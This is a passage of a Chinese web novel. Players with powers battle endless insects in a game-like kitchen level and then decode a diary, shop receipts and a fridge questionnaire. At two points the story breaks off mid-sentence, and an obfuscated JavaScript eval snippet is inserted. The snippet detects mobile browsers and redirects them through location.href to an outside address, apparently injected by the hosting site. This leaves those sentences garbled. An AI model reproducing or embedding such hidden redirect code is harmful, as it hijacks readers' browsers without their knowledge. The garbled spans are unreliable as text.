季祝火甚至有闲心注意到自己背后的动静,跟她说着话。 “弱点在...”应凌心刚想说出自己的发现,被一声轻响打断。 “啪。” 季祝火伸出右手,大拇指在中指的指节碾过。 末端微微发卷的头发无风自动,乌黑的发丝中几抹亮眼的红色映上应凌心的瞳孔。 随着清脆的一声响指,几粒微小的火星被同时爆破。看不见什么大的火光,只是低调而凶狠地爆裂着。 先前坚硬的甲壳不堪一击地被炸碎,看不出一点原先的形状,虫子细微的叫声戛然而止。 两只庞大的虫子,就这样利落地碎成了渣滓,没有发出一点声响。 季祝火回头微微一笑:“这是我的异能,怎么样,跟我的名字很搭吧?” 跟她这个人也很搭,低调而明媚,在一瞬间就能迸发出蓬勃的生命力。 名字中就带有火焰的女孩回头看着她,微红的光流转在她黑色的眼眸中,溢出暖融融的温度。 事实上,很久以后的应凌心,依旧会时不时想起此刻眼前这一幕。 而此刻的应凌心满心欢喜——芜!队友好厉害! 她搓了搓手,转身又看向最开始刷出怪的地方。 是不是没了?应凌心想着,总不能再翻几倍吧——这点空间装不下那么多大虫子。 确实没再有更多的大虫子出现了。 一道黑影从她的余光处出现,应凌心侧头去看,是刚才打开的装着方便面的橱柜。 一条黑色的线从敞开的柜子内流出,密密麻麻的吱嘎声,杂乱地响起。 线越来越粗,越来越长,缓缓掉到了地上。 应凌心呼吸一滞。 这不是线。 拇指大小的黑色虫子,像黑色的浪潮,向她们涌来。 应凌心试探着向外铺开了雷网,向上升了几次电压,直到堪堪把满地的虫子击杀,尸体铺在地摊上,黑压压的一大片。 数以万计的虫子源源不断地从柜子里涌出,踩在它们同伴的尸体上,窸窸窣窣地前进着。 哪怕是在季祝火的帮助下,好几轮下来,虫子的攻势也没见削减。 这该死的虫子到底有多少只啊? 应凌心的后脑开始微微发麻,她咬着牙,试图去想眼前局面的破解之法。 其她玩家呢?来救一下啊! . 其余四位玩家,除了站在应凌心对面旁观的莫问天,剩下三人先前都在卧室内找线索,听到响声出来,一直站在后面看着。 “我们是不是要去帮忙啊...”安依依柔柔弱弱地提问。 “要去你去啊,在这里装什么好人。”另一个男玩家横了他一眼,估摸着眼前两人的异能,内心开始算计。 他从余光里瞄到一道眼神。 瞳孔静静地融在黑沉的瞳仁内,看不到什么光泽,深不见底。 庄不观看不出什么情绪,只是静静地看着。 男人却寒毛卓竖,不敢说出一句话。 他愣了愣,感觉自己丢了面子,骂骂咧咧地找补,问她看什么看。 庄不观吝啬地微微转动了一下眼珠。 “你会在这个副本死去。” 她预言道。 22. 留子的厨房(四) 虫子。 好多的虫子。 到处在爬的虫子。 一波接一波的虫子。 打也打不完,杀也杀不完的虫子。 大部分的虫子都在攻击下被化成了灰,小部分只是死掉了,没能粉碎的尸体躺在地面上,静静地等待着下一轮虫子踏上来。 虫子的尸体摞了一层又一层,一层又一层,这么扁的虫子,摞在地上厚厚的一大片,比她脚踝都要高了。 偶尔有些虫子不会落在地面上,而是爬到灶台上、柜子上,甚至天花板上。 黑压压的一大片,应凌心的雷网偶尔会被她延伸着遍布整个房间,大部分时间是季祝火在精准地击杀到处都是的漏网之鱼。 打到最后,应凌心人都有点麻了。 她机械地抬手、铺网、放电、灭虫,然后等着下一波虫子来势汹汹的进攻。 和她的精神一样发麻的是她的后脑。 再这样下去,异能耗尽只是时间问题。 应凌心虚虚握了握手,感觉她好像遗漏掉了什么。 后脑隐隐的作痛拖慢了她思考的速度,不断被迫搜寻遗漏的虫子,快节奏的进攻让她难以分心思考。 该死的,这关到底怎么过啊?! 她暴躁地劈着几撮逃脱雷网攻势的虫子,听着季祝火在一旁喃喃自语:“这么半天了这虫子怎么还不见少?” 从头开始捋起。 虫子怎么来的?她想去够橱柜里方便面时冒出来的。 所以应该是为了保护方便面存在的。 虫子从哪儿来的?从有方便面的橱柜里。 关上橱柜应该就没了。 她又一次挥手,新一波虫子在雷压下被碾成灰。 但然后呢? 她没有拿到方便面,现在看样子也拿不到了——一坨一坨的虫子从里面挤出来,她总不能连带着方便面一块劈了吧? 那她们吃什么?冰箱里的老人头吗? 她们已经打了这么长时间了,现在中途放弃,再想拿方便面,还得从第一关重新开始打起吗?沉没成本就这样丢掉了吗? 又一波虫子在诞生后又被消灭。 应凌心感觉自己的后脑开始隐隐作痛,额头微微冒汗。 再这样下去不是办法。 异能耗尽不说,她们要没时间了——她们得在规定时间内做完饭! 是在即将抵达的终点前半途而废,从而前功尽弃;还是在可能错误的方向上一去不复返,倾尽所有最后只撞了个南墙? “看这个趋势,一时半会消灭不完它们,可能是为了消耗我们时间准备的。” 季祝火低声提醒,“我们可能要考虑换个方向。” 应凌心咬咬牙,再撑三轮、或者五轮。 万一呢,万一下一波就是最后一波了呢? 万一她这么半天过去后离胜利近在咫尺了呢? “砰——” 比几轮虫子的死亡来得更快的是一个空矿泉水瓶。 没带什么犹豫地被投掷着砸向半开着的橱柜,柜门被撞得合拢上。 很大的力道。 原本还在到处乱爬的虫子们像是被删除掉的数据,凭空消失,连带着先前无数虫子的尸体,仿佛从来没有出现过。 只有应凌心消耗的精神力没回来,她估计了一下,只剩不到三成了。 莫问天伸出去的手还没收回来,刚才她从身旁装满了矿泉水瓶的纸箱里掏了一瓶出来,直直地扔向了橱柜。 此刻只是静静地看着,沉默地对上应凌心的眼神。 应凌心感受着右手若隐若现的酥麻,一时不知道自己该不该质问对方。 她心里其实也觉得这样耗下去行不通,但她已经耗了这么久,又没有更好的方向,只能硬着头皮接着耗着。 一切发生得太快了,她根本来不及思考跟权衡。 而先前一直在旁观的莫问天就这样把她的沉没成本转手扔掉了。 虽然不是莫问天的错,但她的时间和七成多的精神力就这样打了水漂,没有换来任何东西。 她忍不住地感到有些烦躁,如果之前玩家都来搭把手,她就不至于这么被动地消耗掉大半精神力了。 搞得跟就她和季祝火需要吃饭一样! 应凌心深呼吸几下,感觉脑海中还在被先前虫子嗡嗡的叫声盘踞着。 她到底还是没说什么,看着周围的几个玩家,缓了缓神:“现在该怎么办?” 或者,同样重要的:“还剩多长时间?” . 庄不观掏出来一张纸条:【我好饿啊,我得做饭,冰箱里的菜再不做就要烂了。】 “橱柜门被关上的那一瞬间从我视线中心掉落下来的。” 旁边两个男玩家侧目:他们怎么没看到? 好吧,看来没有别的办法,得想办法用冰箱里的食材做饭。 ...如果她早五分钟看到这个纸条,可能就不会干耗着奋力杀虫了。 应凌心偷瞄了一眼莫问天,对方把纸条正反面都看了看,没什么大反应。 算了,当务之急是找到新的方向。 应该是有什么办法,找点能吃的食材做成菜。 应凌心回忆冰箱里的物品,实在不行,只能去一个一个翻那堆诡异的塑料碗了——虽然可能会有奇怪东西蹿出来的风险。 “你们呢,有没有找到纸条?” 莫问天询问一旁的两个男玩家。 白二应激地大喊:“我没有!” 也不知道是在说谎,还是天生就防御过度。 应凌心眯了眯眼,根据之前的规律,第5张纸条应该也是时间类,写还剩50分钟。 当然,也可能这个规律会被改变。 跟庄不观说的纸条隔了两分多钟,差不多在这个时间也该出来了——时间流速正常的话。 虽然她刚才高强度使用异能作战,几轮过去就已经估计不出究竟有多长时间。 但怎么着也得比五分钟多了吧——还要算上一开始翻橱柜的时间。 除非跟虫子厮杀的时候时间流速不一样...勉强算个支线? 反正再过几分钟,总会再看到新的时间更新,大概。 私藏一个没有信息量的纸条没太大意义,除非他有这方面的什么能力,或者难道是副本的间谍,来扰乱她们视线的? 应凌心揣测着,感觉除了坐等可能会刷新的线索外,还是得再回屋里找找线索。 她刚向前迈了半步,余光中飘过一道白影,紧接着她突然被推开,如果不是她反应快,下一秒就要磕在灶台的棱角上。 ? 啥玩意? 应凌心由着季祝火把她扶稳,所剩不多的精神力在指尖流窜,她以为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099163|195685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又有新的怪莫名其妙地冒了出来。 是男玩家。 白二看到自己视野中心忽然冒出来的纸条,大喜过望的同时如同惊弓之鸟,一把把纸条攥在手里,推搡着靠近他的玩家,生怕自己宝贵的线索被夺走。 ...... 她收回之前的无端猜测,这么蠢当不了间谍。 应凌心摇了摇头,纸条的出现已经印证了她的一大半猜测,就算现在看不到纸条的内容,之后有足够多的纸条,也能验证规律是不是正确的。 除非只有一轮的线索——那样只能到时候再想办法抢了。 下面就看收到的下一条信息有没有用了。 她拉着季祝火走向卧室,打算再找找线索——就这点地方,说不定还会有新的线索被刷新。 其余玩家也没有理会,四散开来找线索,只有另一个男玩家低声问:“哥,你拿到了什么纸条?” “哥”犹犹豫豫地给他看。 【我好饿啊,得做饭了,要不然再过50分钟我就要饿死了。】 “居然只过了5分钟!”男玩家低呼一声,被狠狠地瞪了一眼。 安依依小心翼翼地道着歉,眼睛向卧室门口瞄去。 先前那个雷电异能者抱着胳膊,看到他的眼神,挑了挑眉,转身进了屋。 真是的,什么反应嘛,安依依撇撇嘴,她不会没听到吧? 客厅就这点空间,应凌心离得不远,听得清清楚楚。 男玩家一脸“看我给你提供了多么重要的信息,快夸我”的表情,拙劣中带着一些微微的愚蠢。 ...不管怎么说,虽然再等一阵就能知道,但现在可以直接验证也挺好。 应凌心把情报告诉已经开始翻纸箱的季祝火和庄不观,两人“嗯”了一声,都不太意外。 她把满地的矿泉水瓶向外踢了踢,蹲下去看桌下堆的大大小小的纸箱,愣了愣。 咦? 好像多了一个箱子。 之前应凌心草草地翻过这些箱子,有的里面只是被团成团的空白 A4 纸,有的干脆是空的。 她还怀疑纸团的数量有没有什么隐喻,蹲在地上吭哧吭哧数了一下。 因此她也记得,桌子下总共就4个纸箱子。 现在桌下有5个。 可能是别人搜房间的时候把箱子乱摆了。 她把靠墙的纸箱子搬了出来——当然要先看多出来的那一个。 里面是大大小小的信封,都已经开封了。 最大的估摸着都有 B3 那么大了,从顶部被裁开,可以看得出拆信的人不太会用壁纸刀,裁痕断断续续。 里面装着很多小纸条,应凌心拿手轻轻掂了掂,有点分量——对于纸来说。 她随机抽出了一张,是个收据,上头写着【Walnut Supermarket】 榛子,不对,核桃超市? 她简单扫了一眼,有些东西的英文不太认识,不过算价格的时候标注了重量,估计跟她认识的那几条一样,都是买的菜。 小票已经破破烂烂的了,表面摸起来有点油腻腻的。 她看了眼购买日期,【Feb. 29th, 2024】 2月29号,哦对,24年是闰年。 “你看这个。” 季祝火略带一些凝重的声音从耳边响起。 23.留子的厨房(五) “你看这个。”季祝火手里拿着一个本子,“我从床底下找到的。” 这个本子被藏在了床下木板的缝隙里。 应凌心接过本子,草草翻了起来,全是空白页。 她老老实实翻开了第一页。 【2023.9.2】 【终于把行李都收拾完了!累坏了哈哈哈】 【一直在收拾东西,躺在床上感觉腰一直在疼...】 【下周就开学了,明天要去参加新生会,期待!】 【还没见到舍友,她说她要过几天再搬进来,希望可以成为朋友嘿嘿】 【周围有好多饭店啊,还有中餐店!就是味道不咋样,还要给小费,啊啊啊好贵!】 【路上有好多老外,新鲜(虽然对她们来说我才是老外,哈哈哈哈)】 看起来是本日记,应凌心逐渐期待起来,经典线索本。 屋主人的字写得还不错,洋洋洒洒地写了满满一页,她接着往下看,下一次写已经是一个月后了。 【2023.10.1】 【今天去超市买了点菜,这洋人超市绿叶菜太少了,全是奇奇怪怪的菜,还是得去中超。】 【天气真差,每次回来鞋里都进水,袜子湿哒哒地黏在脚上,冷!】 【国内在放假,老妈打电话问我学校放不放假,我说你再想想你们是因为啥放假的呢?】 【今天做点好吃的,犒劳下自己!】 【2023.10.18】 【啊啊啊啊啊我的 Reading Week!!!!!!】 【怎么就这么过去了!!!】 【还我 Reading Week!!!!!】 【我补药考期中呜呜呜呜】 【放假是真的不想动弹,这两天都没咋吃东西,好饿好饿...】 啥是 Reading Week 啊...阅读周?看上下文,估计是一种假期了。 好多的感叹号,好吵闹的文字——但如果是因为假期快没了,好吧,人之常情。 应凌心捻了捻纸,翻到了下一页,空白。 再下一页,空白。 后面全是空白的纸张。 合着这日记只写了一页啊? 应凌心疑惑地看向季祝火,就这? 季祝火把本子轻轻合起来,示意她看纸张的侧面。 通常来说,人可以从本子的侧面观察出本子被使用的程度。 如果大部分页数都被写了字,字迹的厚度、频繁的翻动,都会让原本紧密的纸张间产生微小的间隙,侧面变得不再齐整。 眼下的这本也是。 一页页纸张不规则的微小起伏,堆叠在一起,略显蓬松,任由空气在其中穿梭。 单是看外表,这本子至少被写了三分之二,甚至更多。 只是沿着老旧的纸翻开,看到的是空白的纸张,平整得过了头。 “你不觉得,之后这个本子上的内容可能会被刷新吗?” 季祝火捻了捻本子的第二页——空白的一页。 “只有第一页写了东西,写的是我们现在的处境。这可能是个线索本。”——日记的最后说她好饿。 “我感觉房间里也有点变化,可能本子也会有变化。” 有道理。 应凌心点点头,告诉她自己新发现的一大堆小票,之前也不在这个房间里。 这破系统的副本怎么老爱打信息差啊? 应凌心掂了掂本子,本子其实很薄,轻飘飘的,感觉不出什么重量。她把本子还给了季祝火。 本子里线索不多,但至少是个好的开始。 看来还是得搜罗线索,她估摸着那堆信封里的小纸条说不定也隐藏着什么信息。 “那个...”被刻意放轻的男声从她耳边响起。 男玩家手里攥着一个纸条,见她看过来,涨红了脸,扭扭捏捏地递给她。 【今天是2024年3月15日。】 嚯。 应凌心挑了挑眉。 “这线索感觉非常关键啊。” 一旁的季祝火也看到了,若有所思,“谢谢你分享给我们。” 恭喜季祝火同学获得年度善心大使奖。 应凌心在心里无端发散了一句,回忆起自己之前看的小票。 半个月,说长不长,说短不短。 要说屋主人在半个月内把买的菜全吃完,然后在冰箱里塞满了人体部件,听着时间有点太紧凑了。 她脑补了一下留学生马不停蹄地做饭、吃饭、刀人、分尸、装冰箱的场景,莫名觉得有些喜感。 两居室,说大不大,说小不小。 有什么大动静都在玩家们眼皮底下,但真要有什么线索,还得多迈几步才能传达给所有人。 先是另一个男玩家两手空空地钻了进来,接着是莫问天,站在卧室门口,没进去。 几人挤在小小的卧室里,肩挨着肩,别说接着找线索了,转个身都费劲。 应凌心:...副本是没内存了吗,就不能把地图搞大点吗? 她硬是挤到了门口,吸了两口新鲜空气,向莫问天更新了情报。 莫问天没说什么,递过来一张纸。 看着像是一张问卷。 【冰箱里有什么?】 一个潦草的冰箱冷藏区内物件的示意图,歪歪曲曲的铅笔痕把上三层分隔开,下面两个半透明抽屉被小一号的两个框画了出来。 旁边打印着一大串果蔬的名字,像是备选的选项,一个接一个罗列着。 所以是选择题...?依据是什么?外形吗? 应凌心回忆了一下冰箱里的东西,对照着问卷上的选项,隐隐有些猜测。 噢,小票和表明时间的线索应该就是这么用的——根据小票上购买的物件的时间,再对照冰箱里尸体腐烂的情况...大概? 应凌心决定去好好翻一翻那堆小票,鬼知道填错了有没有第二次机会,还是小心一点得好。 她说着自己的思路,想把问卷还回去——毕竟是人家找到的。 莫问天没接,也没低头看。 她的目光越过应凌心头顶的发旋,和卧室内女人黑沉的瞳仁对上。 庄不观走出了卧室,没有细究她们手中的东西,一侧身,径直走向了冰箱。 莫问天去房间内拿了一支笔,也没有理会周围人的询问,叫也叫不回来。 ...能不能有点团队精神? 应凌心没办法,把推测分享给了其余几人,然后开始整理起大信封里零零散散的小票。 还好她懂点英语,以及屋主人后来大部分时间都是去中超购物——上面会打中文。 季祝火蹲在地上跟她一块捡小票,然后推测着答案。 她们俩的猜测基本上吻合,不过对于第三层的怪东西和最下层的那堆婴儿头,仅仅是推测,谁也不确定。 “要是多点试错空间就好了。”应凌心嘟囔了两句,她从小到大靠运气蒙题总是蒙错。 说起来,其她人呢? 有点麻烦,但毕竟是要填问卷,谁知道填错了会怎么样,还是得跟别的玩家们商量一句。 只见莫问天蹲在敞开的冰箱门口,庄不观站在一边看着,两个人在小声交谈着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17100713|195685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 ...这又是在做什么? 看到莫问天低头在纸上写着什么,应凌心忽然意识到一个问题。 总共有多少份问卷? . 莫问天在填第三张空白的问卷,之前填废了两张,如果这张也错了,就只剩两次机会了——前提是给应凌心的那份还没有被乱填。 大部分根据形状都很好猜。 一堆皱纹的人头是圆白菜,托盘上的大眼球是鸡蛋,截面有空洞的是藕,透明盒里发白的舌头是豆腐,一袋子手指是小胡萝卜。 至于不透明的那堆塑料盒...问卷上没问,她猜测是吃剩的外卖。 再下一层的东西她起初不是很拿得准,是庄不观告诉她的。 血浆是牛奶——变了质的,肠子是大葱,红细绳编织的网里的肉球是洋葱。 “你怎么知道的?” 虽然能解释得通,但凭什么庄不观这么笃定? “看到的。” 女人深色的眼珠看不出什么光彩,“我的异能。” “哦,厉害。” 那剩下几个通明抽屉里的东西排列组合,试也能试出来了。 神棍对她的反应似乎不太满意,神经兮兮地问她,“你相信命运吗?” “没有意义吧。” 她刚在第一张问卷上落下最后一个字,一瞬间,问卷上浮现一个血红色的大叉——猜错了。 莫问天把写废的问卷垫在最后,开始填第二张。 “为什么没有意义?” 神棍问她时语气似乎没有多少疑惑,像是在单纯走个流程。 “命运能被改变吗?” 莫问天手上的笔没有停,“能改变的话,知道它有什么意义?” “不能改变的话,知道了又有什么意义?” 第二张也答错了,她不紧不慢地开始写第三张。 “如果有命运的话,我信或不信,都是命运的一部分;没有命运的话,我信或不信,都只是一念之差。” “对我来说没有区别。” 对你来说有区别吗? 莫问天没有问出声,毕竟她其实不是很感兴趣。 更重要的是,她看到应凌心气冲冲地走了过来。 “你们还剩几张问卷?” 应凌心瞄到了她手里写废的问卷,看着有点生气,但也没直接指责,只是问还有几次试错的机会。 莫问天站起身,关上了冰箱门。 “不重要了。” 她把填好的第三张问卷递给了应凌心,绿色的印刷字体要求玩家把冰箱门关上后再重新打开。 她拉开了冰箱门。 满满当当的食物,堆在冰箱里,果蔬味和腐烂腥臭味混合在一起,缓缓地弥漫在房间里。 她这次写对了。 . 应凌心:...有一种回到大学被迫跟一群陌生同学做小组作业的憋屈感。 有像莫问天这样我行我素的,也有坐享其成的。 比如迅速冲过来的男玩家。 只见白二硬挤到冰箱前,端详起食材,拉开了左边的半透明抽屉。 几个圆滚滚的西红柿,旁边躺着几个发了芽的土豆。 应凌心觉得哪里有点不对劲。 男玩家伸手就要拿。 “别...”还没等应凌心阻止,就被一声杀猪般地嚎叫声打断。 男玩家捂着方才触碰到西红柿的手,痛苦地翻滚着,大半个手像是被腐蚀,丑陋地流着脓水。 哦对。 应凌心反应过来。 她看到的那些小票上没有西红柿啊。